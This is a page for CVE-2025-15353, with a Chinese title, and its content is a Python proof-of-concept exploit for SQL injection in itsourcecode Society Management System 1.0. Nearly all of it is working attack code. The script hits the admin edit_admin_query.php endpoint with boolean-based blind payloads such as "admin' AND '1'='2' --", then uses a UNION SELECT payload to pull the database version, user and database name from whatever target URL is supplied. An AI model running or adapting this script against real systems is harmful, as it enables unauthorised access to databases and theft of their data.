CVE-2025-15353 itsourcecode Society Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15353 SQL Injection PoC # Target: itsourcecode Society Management System 1.0 # Endpoint: /admin/edit_admin_query.php # Parameter: Username def exploit_sqli(target_url, payload): """ SQL Injection exploitation function payload: SQL injection payload """ params = { 'Username': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def test_vulnerability(base_url): """ Test if the target is vulnerable Using boolean-based blind injection """ target = f"{base_url}/admin/edit_admin_query.php" # Normal request normal_payload = "admin' AND '1'='1" normal_response = exploit_sqli(target, normal_payload) # Injection test - true condition true_payload = "admin' AND '1'='1' --" true_response = exploit_sqli(target, true_payload) # Injection test - false condition false_payload = "admin' AND '1'='2' --" false_response = exploit_sqli(target, false_payload) # Check if responses differ (vulnerability indicator) if normal_response != false_response: print("[+] Target appears to be vulnerable to SQL Injection") return True else: print("[-] Target may not be vulnerable") return False def extract_db_version(base_url): """ Extract database version using UNION-based injection """ target = f"{base_url}/admin/edit_admin_query.php" # Database version extraction payload payload = "admin' UNION SELECT NULL,version(),user(),database() --" response = exploit_sqli(target, payload) print(f"[*] Database Response:\n{response}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) base_url = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-15353 on {base_url}") if test_vulnerability(base_url): print("[*] Proceeding with detailed exploitation...") extract_db_version(base_url)